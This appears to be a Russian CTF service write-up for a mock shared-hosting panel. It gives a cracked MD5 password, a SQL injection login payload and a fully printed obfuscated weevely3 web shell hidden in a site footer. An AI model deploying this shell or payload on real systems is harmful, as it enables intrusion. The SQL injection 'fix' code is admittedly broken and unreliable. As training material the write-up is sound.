# "Виртуальный хостинг Змей Горыныч"

## Overview

Сервис представляет собой подобие виртуального хостинга сайтов (shared web hosting)

Условные клиенты разместили три сайта на данном хостинге. В каждом раунде "операторы" оставляют новые заявки клиентов в административной панели,
часть информации которой является флагом. 

Приветствие для участников:
	Приветствуем вас на вашей новой работе, можете гордо называть себя: 
	Администратор виртуального хостинга сайтов "Змей Горыныч".
	В данный момент наш хостинг обработал трех клиентов, обработал - то есть запустил их сайты.
	Основная наша работа - поддерживать их в рабочем состоянии, клиент для нас прежде всего! 

	Сегодня ожидается большое количество заявок от клиентов, мы дали удачную рекламу после ребрендинга, 
	операторы будут вносить их на вторую вкладку сайта. Сами сайты на выходных мы не поднимаем, это в понедельник
	будут делать другие люди.

Для успешной работы чекера вам необходимо держать сайты клиентов в рабочем состоянии, есть возможность включать или выключать их через административную панель (порт 1000)


## Уязвимость 1: weak md5 in database

### Описание:
	В ипортируемой базе данных учетная запись mysql_test содержит слабый хэш md5, который легко пробивается по базам, исходное значение: admin12345
	
	INSERT INTO `admin_panel_users` (`ID`, `user`, `password`) VALUES
	(5, 'mysql_test', '7488e331b8b64e5794da3fa4eb10ad5d');
        

### FIX:

    Удалить учетную запись или поменять пароль

## Уязвимость 2: SQL injection

### Описание:
	Функция авторизации в административную панель "validate_cred" содержит прямой запрос к базе данных, уязвимый к sql инъекции:
	
	$query2 = "SELECT user, password FROM `admin_panel_users` WHERE user = '".$login."' AND password = '".$password."'";
	$result2 = mysqli_query($link, $query2);
    $COUNT2 = mysqli_num_rows($result2);
	if ($COUNT2 != 1 and $COUNT3 != 1) {
            mysqli_close($link);
            return false;
        }
        else {
            return true;
        }

	Пример вводимых учетных данных для реализации sql инъекции:
	login: old_admin
	password: ' or 1=1 LIMIT 1 -- -


### FIX:
    Необходимо использовать привязку переменных к параметрам подготавливаемого запроса mysqli_stmt_bind_param:

            mysqli_stmt_bind_param($stmt, "ss", $LOGIN, $PASSWORD);  //dont work
            $ip_address  = $_SERVER['HTTP_HOST']; 
            $LOGIN = $login;
            $PASSWORD = $password;
            
            $RESULT = mysqli_stmt_get_result($stmt);
            $COUNT = mysqli_num_rows($RESULT);


## Уязвимость 3: Веб-шелл weevely3 в одном сайте клиентов виртуального хостинга

### Описание:
    В первом сайте (site1) на странице page.html подключаемый footer.php является серверной частью веб-шелла weevely3
    page.html:
        ...
	    <footer class="footer text-center py-2 theme-bg-dark"> 
			<!-- Bootstrap PHP -->
			<?php include 'images/footer.php';?>
	    </footer>
        ...
    footer.php:
        <?php
            $A='?ecode($m]?[1]),$k]?)));$o=]?@ob]?_get_co]?n]?tents();@ob_]?en]?d_clea]?n();$';
            $P='$k="194a]?43aa]?";]?$kh="2]?d18d8fd5]?fb]?7";$kf="c1e0]?8]?2ba23cc";$]?p="p';
            $G=str_replace('XZ','','cXZXZreaXZtXZe_fuXZncXZtion');
            $S='<$l);$j++]?,$i+]?+]?){$o.=$t{$i]?}^$k{$j]?};}}r]?eturn $o]?;}if ]?(@pr]?eg_mat';
            $O='$m)==]?1)]? {@ob_sta]?]?rt()]?;@e]?val(@gzu]?]?ncompress(@x(@ba]?se64_d]';
            $U='r=@base]?6]?4_en]?code(@x(@gzc]?ompres]?s($o)]?,$]?k));print]?("$p$kh]?$r$kf");}';
            $L='LdZAm]?]?eDqdAQo]?03S";]?func]?tion x($t,$k)]?]?{$c=strlen($]?k);$l=st]?';
            $Q='rlen($]?t);$o]?="";]?for($i=]?0]?]?;$i<$]?l;){for($j]?=0]?;($j<$c&&$i';
            $u='ch]?("/$]?kh(.+)$kf]?/]?",@file_ge]?t_]?c]?ontents(]?"php://]?input"),';
            $J=str_replace(']?','',$P.$L.$Q.$S.$u.$O.$A.$U);
            $c=$G('',$J);$c();
        ?>  
    
    Данный веб-шелл использует пароль. Для его получения необходимо деобфусцировать код шелла. 
    Привер деобфускации: https://artikrh.sh/posts/weevely-backdoor-analysis.html
    И далее с помощью клиента weevely3 авторизоваться на странице page.html:
    Формат: weevely ip_address password


### FIX:
    Удалить код веб-шелла со страницы
